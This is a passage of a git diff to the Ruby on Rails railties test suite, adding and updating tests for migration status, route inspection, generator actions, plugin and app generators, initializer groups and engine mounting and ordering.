Dir.chdir(app_path) do + `rails generate model user username:string password:string` + `rails generate migration add_email_to_users email:string` + end + + Dir.chdir(app_path) { `rake db:migrate`} + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:rollback STEP=1` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/down\s+\d{14}\s+Add email to users/, output) + end + + def test_migration_status_after_rollback_and_redo + Dir.chdir(app_path) do + `rails generate model user username:string password:string` + `rails generate migration add_email_to_users email:string` + end + + Dir.chdir(app_path) { `rake db:migrate`} + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:rollback STEP=2` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/down\s+\d{14}\s+Create users/, output) + assert_match(/down\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:migrate:redo` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) + end + def test_loading_specific_fixtures Dir.chdir(app_path) do `rails generate model user username:string password:string` @@ -245,4 +202,4 @@ module ApplicationTests assert_match(/7 tests, 10 assertions, 0 failures, 0 errors/, content) end end -end
\ No newline at end of file +end diff --git a/railties/test/application/route_inspect_test.rb b/railties/test/application/route_inspect_test.rb new file mode 100644 index 0000000000..2ad5ee6c4c --- /dev/null +++ b/railties/test/application/route_inspect_test.rb @@ -0,0 +1,131 @@ +require 'test/unit' +require 'rails/application/route_inspector' +require 'action_controller' +require 'rails/engine' + +module ApplicationTests + class RouteInspectTest < Test::Unit::TestCase + def setup + @set = ActionDispatch::Routing::RouteSet.new + @inspector = Rails::Application::RouteInspector.new + end + + def test_displaying_routes_for_engines + engine = Class.new(Rails::Engine) do + def self.to_s + "Blog::Engine" + end + end + engine.routes.draw do + get '/cart', :to => 'cart#show' + end + + @set.draw do + get '/custom/assets', :to => 'custom_assets#show' + mount engine => "/blog", :as => "blog" + end + + output = @inspector.format @set.routes + expected = [ + "custom_assets GET /custom/assets(.:format) custom_assets#show", + " blog /blog Blog::Engine", + "\nRoutes for Blog::Engine:", + "cart GET /cart(.:format) cart#show" + ] + assert_equal expected, output + end + + def test_cart_inspect + @set.draw do + get '/cart', :to => 'cart#show' + end + output = @inspector.format @set.routes + assert_equal ["cart GET /cart(.:format) cart#show"], output + end + + def test_inspect_shows_custom_assets + @set.draw do + get '/custom/assets', :to => 'custom_assets#show' + end + output = @inspector.format @set.routes + assert_equal ["custom_assets GET /custom/assets(.:format) custom_assets#show"], output + end + + def test_inspect_routes_shows_resources_route + @set.draw do + resources :articles + end + output = @inspector.format @set.routes + expected = [ + " articles GET /articles(.:format) articles#index", + " POST /articles(.:format) articles#create", + " new_article GET /articles/new(.:format) articles#new", + "edit_article GET /articles/:id/edit(.:format) articles#edit", + " article GET /articles/:id(.:format) articles#show", + " PUT /articles/:id(.:format) articles#update", + " DELETE /articles/:id(.:format) articles#destroy" ] + assert_equal expected, output + end + + def test_inspect_routes_shows_root_route + @set.draw do + root :to => 'pages#main' + end + output = @inspector.format @set.routes + assert_equal ["root / pages#main"], output + end + + def test_inspect_routes_shows_dynamic_action_route + @set.draw do + match 'api/:action' => 'api' + end + output = @inspector.format @set.routes + assert_equal [" /api/:action(.:format) api#:action"], output + end + + def test_inspect_routes_shows_controller_and_action_only_route + @set.draw do + match ':controller/:action' + end + output = @inspector.format @set.routes + assert_equal [" /:controller/:action(.:format) :controller#:action"], output + end + + def test_inspect_routes_shows_controller_and_action_route_with_constraints + @set.draw do + match ':controller(/:action(/:id))', :id => /\d+/ + end + output = @inspector.format @set.routes + assert_equal [" /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"], output + end + + def test_rake_routes_shows_route_with_defaults + @set.draw do + match 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'} + end + output = @inspector.format @set.routes + assert_equal [%Q[ /photos/:id(.:format) photos#show {:format=>"jpg"}]], output + end + + def test_rake_routes_shows_route_with_constraints + @set.draw do + match 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/ + end + output = @inspector.format @set.routes + assert_equal [" /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"], output + end + + class RackApp + def self.call(env) + end + end + + def test_rake_routes_shows_route_with_rack_app + @set.draw do + match 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/ + end + output = @inspector.format @set.routes + assert_equal [" /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"], output + end + end +end diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb index 3adf0ccd3e..a05e39658d 100644 --- a/railties/test/application/routing_test.rb +++ b/railties/test/application/routing_test.rb @@ -141,7 +141,7 @@ module ApplicationTests test "routes appending blocks" do app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do - match ':controller#:action' + match ':controller/:action' end RUBY diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb index 27a7959e84..a06facc04b 100644 --- a/railties/test/application/test_test.rb +++ b/railties/test/application/test_test.rb @@ -24,7 +24,7 @@ module ApplicationTests end RUBY - run_test 'unit/foo_test.rb' + run_test_file 'unit/foo_test.rb' end # Run just in Ruby < 1.9 @@ -40,7 +40,7 @@ module ApplicationTests end RUBY - run_test 'unit/backtrace_test.rb' + run_test_file 'unit/backtrace_test.rb' end end @@ -66,7 +66,7 @@ module ApplicationTests end RUBY - run_test 'integration/posts_test.rb' + run_test_file 'integration/posts_test.rb' end test "performance test" do @@ -91,11 +91,11 @@ module ApplicationTests end RUBY - run_test 'performance/posts_test.rb' + run_test_file 'performance/posts_test.rb' end private - def run_test(name) + def run_test_file(name) result = ruby '-Itest', "#{app_path}/test/#{name}" assert_equal 0, $?.to_i, result end diff --git a/railties/test/fixtures/lib/generators/usage_template/USAGE b/railties/test/fixtures/lib/generators/usage_template/USAGE new file mode 100644 index 0000000000..bcd63c52e2 --- /dev/null +++ b/railties/test/fixtures/lib/generators/usage_template/USAGE @@ -0,0 +1 @@ +:: <%= 1 + 1 %> ::
\ No newline at end of file diff --git a/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb new file mode 100644 index 0000000000..078b0f9412 --- /dev/null +++ b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb @@ -0,0 +1,5 @@ +require 'rails/generators' + +class UsageTemplateGenerator < Rails::Generators::Base + source_root File.expand_path("templates", File.dirname(__FILE__)) +end diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb index e4a8000425..c1fd6a38f1 100644 --- a/railties/test/generators/actions_test.rb +++ b/railties/test/generators/actions_test.rb @@ -95,18 +95,34 @@ class ActionsTest < Rails::Generators::TestCase def test_gem_should_insert_on_separate_lines run_generator + File.open('Gemfile', 'a') {|f| f.write('# Some content...') } + action :gem, 'rspec' action :gem, 'rspec-rails' - assert_file 'Gemfile', /gem "rspec"$/ - assert_file 'Gemfile', /gem "rspec-rails"$/ + assert_file 'Gemfile', /^gem "rspec"$/ + assert_file 'Gemfile', /^gem "rspec-rails"$/ + end + + def test_gem_group_should_wrap_gems_in_a_group + run_generator + + action :gem_group, :development, :test do + gem 'rspec-rails' + end + + action :gem_group, :test do + gem 'fakeweb' + end + + assert_file 'Gemfile', /\ngroup :development, :test do\n gem "rspec-rails"\nend\n\ngroup :test do\n gem "fakeweb"\nend/ end def test_environment_should_include_data_in_environment_initializer_block run_generator autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]' action :environment, autoload_paths - assert_file 'config/application.rb', /#{Regexp.escape(autoload_paths)}/ + assert_file 'config/application.rb', / class Application < Rails::Application\n #{Regexp.escape(autoload_paths)}/ end def test_environment_should_include_data_in_environment_initializer_block_with_env_option @@ -165,9 +181,12 @@ class ActionsTest < Rails::Generators::TestCase action :generate, 'model', 'MyModel' end - def test_rake_should_run_rake_command_with_development_env - generator.expects(:run).once.with('rake log:clear RAILS_ENV=development', :verbose => false) + def test_rake_should_run_rake_command_with_default_env + generator.expects(:run).once.with("rake log:clear RAILS_ENV=development", :verbose => false) + old_env, ENV['RAILS_ENV'] = ENV["RAILS_ENV"], nil action :rake, 'log:clear' + ensure + ENV["RAILS_ENV"] = old_env end def test_rake_with_env_option_should_run_rake_command_in_env @@ -175,9 +194,28 @@ class ActionsTest < Rails::Generators::TestCase action :rake, 'log:clear', :env => 'production' end + def test_rake_with_rails_env_variable_should_run_rake_command_in_env + generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', :verbose => false) + old_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "production" + action :rake, 'log:clear' + ensure + ENV["RAILS_ENV"] = old_env + end + + def test_env_option_should_win_over_rails_env_variable_when_running_rake + generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', :verbose => false) + old_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "staging" + action :rake, 'log:clear', :env => 'production' + ensure + ENV["RAILS_ENV"] = old_env + end + def test_rake_with_sudo_option_should_run_rake_command_with_sudo - generator.expects(:run).once.with('sudo rake log:clear RAILS_ENV=development', :verbose => false) + generator.expects(:run).once.with("sudo rake log:clear RAILS_ENV=development", :verbose => false) + old_env, ENV['RAILS_ENV'] = ENV["RAILS_ENV"], nil action :rake, 'log:clear', :sudo => true + ensure + ENV["RAILS_ENV"] = old_env end def test_capify_should_run_the_capify_command diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb index fb7ebaa1fa..235c08e38e 100644 --- a/railties/test/generators/app_generator_test.rb +++ b/railties/test/generators/app_generator_test.rb @@ -55,6 +55,7 @@ class AppGeneratorTest < Rails::Generators::TestCase assert_file "app/views/layouts/application.html.erb", /javascript_include_tag\s+"application"/ assert_file "app/assets/stylesheets/application.css" assert_file "config/application.rb", /config\.assets\.enabled = true/ + assert_file "public/index.html", /url\("assets\/rails.png"\);/ end def test_invalid_application_name_raises_an_error @@ -143,6 +144,16 @@ class AppGeneratorTest < Rails::Generators::TestCase end end + def test_config_postgresql_database + run_generator([destination_root, "-d", "postgresql"]) + assert_file "config/database.yml", /postgresql/ + unless defined?(JRUBY_VERSION) + assert_file "Gemfile", /^gem\s+["']pg["']$/ + else + assert_file "Gemfile", /^gem\s+["']activerecord-jdbcpostgresql-adapter["']$/ + end + end + def test_config_jdbcmysql_database run_generator([destination_root, "-d", "jdbcmysql"]) assert_file "config/database.yml", /mysql/ @@ -189,7 +200,7 @@ class AppGeneratorTest < Rails::Generators::TestCase assert_file "test/performance/browsing_test.rb" end - def test_generator_if_skip_active_record_is_given + def test_generator_if_skip_sprockets_is_given run_generator [destination_root, "--skip-sprockets"] assert_file "config/application.rb" do |content| assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content) @@ -198,11 +209,28 @@ class AppGeneratorTest < Rails::Generators::TestCase assert_file "test/performance/browsing_test.rb" end + def test_inclusion_of_therubyrhino_under_jruby + if defined?(JRUBY_VERSION) + run_generator([destination_root]) + assert_file "Gemfile", /gem\s+["']therubyrhino["']$/ + end + end + def test_creation_of_a_test_directory run_generator assert_file 'test' end + def test_creation_of_vendor_assets_javascripts_directory + run_generator + assert_file "vendor/assets/javascripts" + end + + def test_creation_of_vendor_assets_stylesheets_directory + run_generator + assert_file "vendor/assets/stylesheets" + end + def test_jquery_is_the_default_javascript_library run_generator assert_file "app/assets/javascripts/application.js" do |contents| @@ -232,21 +260,6 @@ class AppGeneratorTest < Rails::Generators::TestCase end end - def test_inclusion_of_turn_gem_in_gemfile - run_generator - assert_file "Gemfile" do |contents| - assert_match(/gem 'turn'/, contents) unless RUBY_VERSION < '1.9.2' - assert_no_match(/gem 'turn'/, contents) if RUBY_VERSION < '1.9.2' - end - end - - def test_turn_gem_is_not_included_in_gemfile_if_skipping_test_unit - run_generator [destination_root, "--skip-test-unit"] - assert_file "Gemfile" do |contents| - assert_no_match(/gem 'turn'/, contents) unless RUBY_VERSION < '1.9.2' - end - end - def test_inclusion_of_ruby_debug run_generator assert_file "Gemfile" do |contents| @@ -314,6 +327,15 @@ class AppGeneratorTest < Rails::Generators::TestCase end end + def test_generated_environments_file_for_sanitizer + run_generator [destination_root, "--skip-active-record"] + ["config/environments/development.rb", "config/environments/test.rb"].each do |env_file| + assert_file env_file do |file| + assert_no_match(/config.active_record.mass_assignment_sanitizer = :strict/, file) + end + end + end + protected def action(*args, &block) diff --git a/railties/test/generators/assets_generator_test.rb b/railties/test/generators/assets_generator_test.rb index 044e0b6bc6..d6338bd3da 100644 --- a/railties/test/generators/assets_generator_test.rb +++ b/railties/test/generators/assets_generator_test.rb @@ -13,7 +13,7 @@ class AssetsGeneratorTest < Rails::Generators::TestCase end def test_skipping_assets - content = run_generator ["posts", "--no-stylesheets", "--no-javascripts"] + run_generator ["posts", "--no-stylesheets", "--no-javascripts"] assert_no_file "app/assets/javascripts/posts.js" assert_no_file "app/assets/stylesheets/posts.css" end diff --git a/railties/test/generators/orm_test.rb b/railties/test/generators/orm_test.rb new file mode 100644 index 0000000000..9dd3d3e0ec --- /dev/null +++ b/railties/test/generators/orm_test.rb @@ -0,0 +1,38 @@ +require "generators/generators_test_helper" +require "rails/generators/rails/scaffold_controller/scaffold_controller_generator" + +# Mock out two ORMs +module ORMWithGenerators + module Generators + class ActiveModel + def initialize(name) + end + end + end +end + +module ORMWithoutGenerators + # No generators +end + +class OrmTest < Rails::Generators::TestCase + include GeneratorsTestHelper + tests Rails::Generators::ScaffoldControllerGenerator + + def test_orm_class_returns_custom_generator_if_supported_custom_orm_set + g = generator ["Foo"], :orm => "ORMWithGenerators" + assert_equal ORMWithGenerators::Generators::ActiveModel, g.send(:orm_class) + end + + def test_orm_class_returns_rails_generator_if_unsupported_custom_orm_set + g = generator ["Foo"], :orm => "ORMWithoutGenerators" + assert_equal Rails::Generators::ActiveModel, g.send(:orm_class) + end + + def test_orm_instance_returns_orm_class_instance_with_name + g = generator ["Foo"] + orm_instance = g.send(:orm_instance) + assert g.send(:orm_class) === orm_instance + assert_equal "foo", orm_instance.name + end +end diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb index 0ccb2ae9da..826eac904e 100644 --- a/railties/test/generators/plugin_new_generator_test.rb +++ b/railties/test/generators/plugin_new_generator_test.rb @@ -7,11 +7,13 @@ DEFAULT_PLUGIN_FILES = %w( .gitignore Gemfile Rakefile + README.rdoc bukkits.gemspec MIT-LICENSE lib lib/bukkits.rb lib/tasks/bukkits_tasks.rake + lib/bukkits/version.rb test/bukkits_test.rb test/test_helper.rb test/dummy @@ -25,10 +27,6 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase # brings setup, teardown, and some tests include SharedGeneratorTests - def default_files - ::DEFAULT_PLUGIN_FILES - end - def test_invalid_plugin_name_raises_an_error content = capture(:stderr){ run_generator [File.join(destination_root, "43-things")] } assert_equal "Invalid plugin name 43-things. Please give a name which does not start with numbers.\n", content @@ -39,6 +37,12 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_file "things-43/lib/things-43.rb", /module Things43/ end + def test_camelcase_plugin_name_underscores_filenames + run_generator [File.join(destination_root, "CamelCasedName")] + assert_no_file "CamelCasedName/lib/CamelCasedName.rb" + assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/ + end + def test_generating_without_options run_generator assert_file "README.rdoc", /Bukkits/ @@ -69,13 +73,13 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode run_generator([destination_root, "--full"]) assert_file "test/dummy/config/database.yml", /sqlite/ - assert_file "Gemfile", /^gem\s+["']sqlite3["']$/ + assert_file "bukkits.gemspec", /sqlite3/ end def test_config_another_database run_generator([destination_root, "-d", "mysql", "--full"]) assert_file "test/dummy/config/database.yml", /mysql/ - assert_file "Gemfile", /^gem\s+["']mysql2["']$/ + assert_file "bukkits.gemspec", /mysql/ end def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given @@ -117,8 +121,8 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_match %r{^//= require jquery}, contents assert_match %r{^//= require jquery_ujs}, contents end - assert_file 'Gemfile' do |contents| - assert_match(/^gem 'jquery-rails'/, contents) + assert_file 'bukkits.gemspec' do |contents| + assert_match(/jquery-rails/, contents) end end @@ -128,8 +132,8 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_match %r{^//= require prototype}, contents assert_match %r{^//= require prototype_ujs}, contents end - assert_file 'Gemfile' do |contents| - assert_match(/^gem 'prototype-rails'/, contents) + assert_file 'bukkits.gemspec' do |contents| + assert_match(/prototype-rails/, contents) end end @@ -176,6 +180,7 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_file "app/controllers" assert_file "app/views" assert_file "app/helpers" + assert_file "app/mailers" assert_file "config/routes.rb", /Rails.application.routes.draw do/ assert_file "lib/bukkits/engine.rb", /module Bukkits\n class Engine < ::Rails::Engine\n end\nend/ assert_file "lib/bukkits.rb", /require "bukkits\/engine"/ @@ -198,17 +203,17 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n module ApplicationHelper/ assert_file "app/views/layouts/bukkits/application.html.erb" do |contents| assert_match "<title>Bukkits</title>", contents - assert_match /stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents - assert_match /javascript_include_tag\s+['"]bukkits\/application['"]/, contents + assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents) + assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents) end end def test_creating_gemspec run_generator - assert_file "bukkits.gemspec", /s.name = "bukkits"/ + assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/ assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*"\]/ assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/ - assert_file "bukkits.gemspec", /s.version = "0.0.1"/ + assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/ end def test_usage_of_engine_commands @@ -237,12 +242,20 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_file "spec/dummy/config/application.rb" assert_no_file "test" end + + def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path + FileUtils.cd(Rails.root) + run_generator([destination_root, "--dummy_path", "spec/dummy" "--skip-test-unit"]) + assert_file ".gitignore" do |contents| + assert_match(/spec\/dummy/, contents) + end + end def test_skipping_test_unit run_generator [destination_root, "--skip-test-unit"] assert_no_file "test" assert_file "bukkits.gemspec" do |contents| - assert_no_match /s.test_files = Dir\["test\/\*\*\/\*"\]/, contents + assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents) end end @@ -257,6 +270,10 @@ protected silence(:stdout){ generator.send(*args, &block) } end +protected + def default_files + ::DEFAULT_PLUGIN_FILES + end end class CustomPluginGeneratorTest < Rails::Generators::TestCase diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb index d3074afd91..1534f0d828 100644 --- a/railties/test/generators/shared_generator_tests.rb +++ b/railties/test/generators/shared_generator_tests.rb @@ -191,11 +191,11 @@ module SharedCustomGeneratorTests end def test_builder_option_with_http - path = "http://gist.github.com/103208.txt" + url = "http://gist.github.com/103208.txt" template = "class #{builder_class}; end" template.instance_eval "def read; self; end" # Make the string respond to read - generator([destination_root], :builder => path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template) + generator([destination_root], :builder => url).expects(:open).with(url, 'Accept' => 'application/x-thor-template').returns(template) quietly { generator.invoke_all } default_files.each{ |path| assert_no_file(path) } diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb index 56329f3183..5f9ee220dc 100644 --- a/railties/test/generators_test.rb +++ b/railties/test/generators_test.rb @@ -201,4 +201,10 @@ class GeneratorsTest < Rails::Generators::TestCase mspec = Rails::Generators.find_by_namespace :fixjour assert mspec.source_paths.include?(File.join(Rails.root, "lib", "templates", "fixjour")) end + + def test_usage_with_embedded_ruby + require File.expand_path("fixtures/lib/generators/usage_template/usage_template_generator", File.dirname(__FILE__)) + output = capture(:stdout) { Rails::Generators.invoke :usage_template, ['--help'] } + assert_match /:: 2 ::/, output + end end diff --git a/railties/test/initializable_test.rb b/railties/test/initializable_test.rb index 72c35879c5..c84c7f204c 100644 --- a/railties/test/initializable_test.rb +++ b/railties/test/initializable_test.rb @@ -61,7 +61,7 @@ module InitializableTests class Instance include Rails::Initializable - initializer :one do + initializer :one, :group => :assets do $arr << 1 end @@ -69,7 +69,7 @@ module InitializableTests $arr << 2 end - initializer :three do + initializer :three, :group => :all do $arr << 3 end @@ -209,14 +209,21 @@ module InitializableTests $arr = [] instance = Instance.new instance.run_initializers - assert_equal [1, 2, 3, 4], $arr + assert_equal [2, 3, 4], $arr + end + + test "running locals with groups" do + $arr = [] + instance = Instance.new + instance.run_initializers(:assets) + assert_equal [1, 3], $arr end end class WithArgsTest < ActiveSupport::TestCase test "running initializers with args" do $with_arg = nil - WithArgs.new.run_initializers('foo') + WithArgs.new.run_initializers(:default, 'foo') assert_equal 'foo', $with_arg end end diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb index 685d1b154b..06b658e7bd 100644 --- a/railties/test/isolation/abstract_unit.rb +++ b/railties/test/isolation/abstract_unit.rb @@ -224,6 +224,15 @@ module TestHelpers end end + def add_to_env_config(env, str) + environment = File.read("#{app_path}/config/environments/#{env}.rb") + if environment =~ /(\n\s*end\s*)\Z/ + File.open("#{app_path}/config/environments/#{env}.rb", 'w') do |f| + f.puts $` + "\n#{str}\n" + $1 + end + end + end + def remove_from_config(str) file = "#{app_path}/config/application.rb" contents = File.read(file) @@ -282,7 +291,7 @@ Module.new do require_environment = "-r #{environment}" end - `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/bin/rails new #{tmp_path('app_template')}` + `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{tmp_path('app_template')}` File.open("#{tmp_path}/app_template/config/boot.rb", 'w') do |f| if require_environment f.puts "Dir.chdir('#{File.dirname(environment)}') do" diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb index 0ff1e0f180..400cae98b2 100644 --- a/railties/test/railties/engine_test.rb +++ b/railties/test/railties/engine_test.rb @@ -323,7 +323,7 @@ module RailtiesTest assert_equal "bukkits_", Bukkits.table_name_prefix assert_equal "bukkits", Bukkits::Engine.engine_name - assert_equal Bukkits._railtie, Bukkits::Engine + assert_equal Bukkits.railtie_namespace, Bukkits::Engine assert ::Bukkits::MyMailer.method_defined?(:foo_path) assert !::Bukkits::MyMailer.method_defined?(:bar_path) @@ -400,7 +400,7 @@ module RailtiesTest boot_rails get("/bukkits/posts/new") - assert_match /name="post\[title\]"/, last_response.body + assert_match(/name="post\[title\]"/, last_response.body) end test "isolated engine should set correct route module prefix for nested namespace" do @@ -455,13 +455,19 @@ module RailtiesTest Rails.application.load_seed assert Rails.application.config.app_seeds_loaded - assert_raise(NoMethodError) do Bukkits::Engine.config.bukkits_seeds_loaded end + assert_raise(NoMethodError) { Bukkits::Engine.config.bukkits_seeds_loaded } Bukkits::Engine.load_seed assert Bukkits::Engine.config.bukkits_seeds_loaded end - test "using namespace more than once on one module should not overwrite _railtie method" do + test "skips nonexistent seed data" do + FileUtils.rm "#{app_path}/db/seeds.rb" + boot_rails + assert_nil Rails.application.load_seed + end + + test "using namespace more than once on one module should not overwrite railtie_namespace method" do @plugin.write "lib/bukkits.rb", <<-RUBY module AppTemplate class Engine < ::Rails::Engine @@ -478,7 +484,7 @@ module RailtiesTest boot_rails - assert_equal AppTemplate._railtie, AppTemplate::Engine + assert_equal AppTemplate.railtie_namespace, AppTemplate::Engine end test "properly reload routes" do @@ -661,6 +667,132 @@ module RailtiesTest assert_equal expected, methods end + test "setting priority for engines with config.railties_order" do + @blog = engine "blog" do |plugin| + plugin.write "lib/blog.rb", <<-RUBY + module Blog + class Engine < ::Rails::Engine + end + end + RUBY + end + + @plugin.write "lib/bukkits.rb", <<-RUBY + module Bukkits + class Engine < ::Rails::Engine + isolate_namespace Bukkits + end + end + RUBY + + controller "main", <<-RUBY + class MainController < ActionController::Base + def foo + render :inline => '<%= render :partial => "shared/foo" %>' + end + + def bar + render :inline => '<%= render :partial => "shared/bar" %>' + end + end + RUBY + + app_file "config/routes.rb", <<-RUBY + Rails.application.routes.draw do + match "/foo" => "main#foo" + match "/bar" => "main#bar" + end + RUBY + + @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY + Bukkit's foo partial + RUBY + + app_file "app/views/shared/_foo.html.erb", <<-RUBY + App's foo partial + RUBY + + @blog.write "app/views/shared/_bar.html.erb", <<-RUBY + Blog's bar partial + RUBY + + app_file "app/views/shared/_bar.html.erb", <<-RUBY + App's bar partial + RUBY + + @plugin.write "app/assets/javascripts/foo.js", <<-RUBY + // Bukkit's foo js + RUBY + + app_file "app/assets/javascripts/foo.js", <<-RUBY + // App's foo js + RUBY + + @blog.write "app/assets/javascripts/bar.js", <<-RUBY + // Blog's bar js + RUBY + + app_file "app/assets/javascripts/bar.js", <<-RUBY + // App's bar js + RUBY + + add_to_config("config.railties_order = [:all, :main_app, Blog::Engine]") + + boot_rails + require "#{rails_root}/config/environment" + + get("/foo") + assert_equal "Bukkit's foo partial", last_response.body.strip + + get("/bar") + assert_equal "App's bar partial", last_response.body.strip + + get("/assets/foo.js") + assert_equal "// Bukkit's foo js\n;", last_response.body.strip + + get("/assets/bar.js") + assert_equal "// App's bar js\n;", last_response.body.strip + end + + test "railties_order adds :all with lowest priority if not given" do + @plugin.write "lib/bukkits.rb", <<-RUBY + module Bukkits + class Engine < ::Rails::Engine + end + end + RUBY + + controller "main", <<-RUBY + class MainController < ActionController::Base + def foo + render :inline => '<%= render :partial => "shared/foo" %>' + end + end + RUBY + + app_file "config/routes.rb", <<-RUBY + Rails.application.routes.draw do + match "/foo" => "main#foo" + end + RUBY + + @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY + Bukkit's foo partial + RUBY + + app_file "app/views/shared/_foo.html.erb", <<-RUBY + App's foo partial + RUBY + + add_to_config("config.railties_order = [Bukkits::Engine]") + + boot_rails + require "#{rails_root}/config/environment" + + get("/foo") + assert_equal "Bukkit's foo partial", last_response.body.strip + end + private def app Rails.application diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb index 1d4ba0e5b6..f8540d69d9 100644 --- a/railties/test/railties/generators_test.rb +++ b/railties/test/railties/generators_test.rb @@ -28,7 +28,7 @@ module RailtiesTests if File.exist?("#{environment}.rb") require_environment = "-r #{environment}" end - `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/bin/rails #{cmd}` + `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails #{cmd}` end def build_engine(is_mountable=false) diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb index 94dec405a7..0491fc2174 100644 --- a/railties/test/railties/mounted_engine_test.rb +++ b/railties/test/railties/mounted_engine_test.rb @@ -11,13 +11,17 @@ module ApplicationTests add_to_config("config.action_dispatch.show_exceptions = false") + @simple_plugin = engine "weblog" @plugin = engine "blog" app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do + mount Weblog::Engine, :at => '/', :as => 'weblog' resources :posts match "/engine_route" => "application_generating#engine_route" match "/engine_route_in_view" => "application_generating#engine_route_in_view" + match "/weblog_engine_route" => "application_generating#weblog_engine_route" + match "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view" match "/url_for_engine_route" => "application_generating#url_for_engine_route" match "/polymorphic_route" => "application_generating#polymorphic_route" match "/application_polymorphic_path" => "application_generating#application_polymorphic_path" @@ -28,6 +32,29 @@ module ApplicationTests end RUBY + + @simple_plugin.write "lib/weblog.rb", <<-RUBY + module Weblog + class Engine < ::Rails::Engine + end + end + RUBY + + @simple_plugin.write "config/routes.rb", <<-RUBY + Weblog::Engine.routes.draw do + match '/weblog' => "weblogs#index", :as => 'weblogs' + end + RUBY + + @simple_plugin.write "app/controllers/weblogs_controller.rb", <<-RUBY + class WeblogsController < ActionController::Base + def index + render :text => request.url + end + end + RUBY + + @plugin.write "app/models/blog/post.rb", <<-RUBY module Blog class Post @@ -100,6 +127,14 @@ module ApplicationTests render :inline => "<%= blog.posts_path %>" end + def weblog_engine_route + render :text => weblog.weblogs_path + end + + def weblog_engine_route_in_view + render :inline => "<%= weblog.weblogs_path %>" + end + def url_for_engine_route render :text => blog.url_for(:controller => "blog/posts", :action => "index", :user => "john", :only_path => true) end @@ -192,5 +227,13 @@ module ApplicationTests get "/application_polymorphic_path" assert_equal "/posts/44", last_response.body end + + test "route path for controller action when engine is mounted at root" do + get "/weblog_engine_route" + assert_equal "/weblog", last_response.body + + get "/weblog_engine_route_in_view" + assert_equal "/weblog", last_response.body + end end end diff --git a/railties/test/railties/shared_tests.rb b/railties/test/railties/shared_tests.rb index 9a64b7c64e..7653e52d26 100644 --- a/railties/test/railties/shared_tests.rb +++ b/railties/test/railties/shared_tests.rb @@ -21,6 +21,23 @@ module RailtiesTest assert_match "alert()", last_response.body end + def 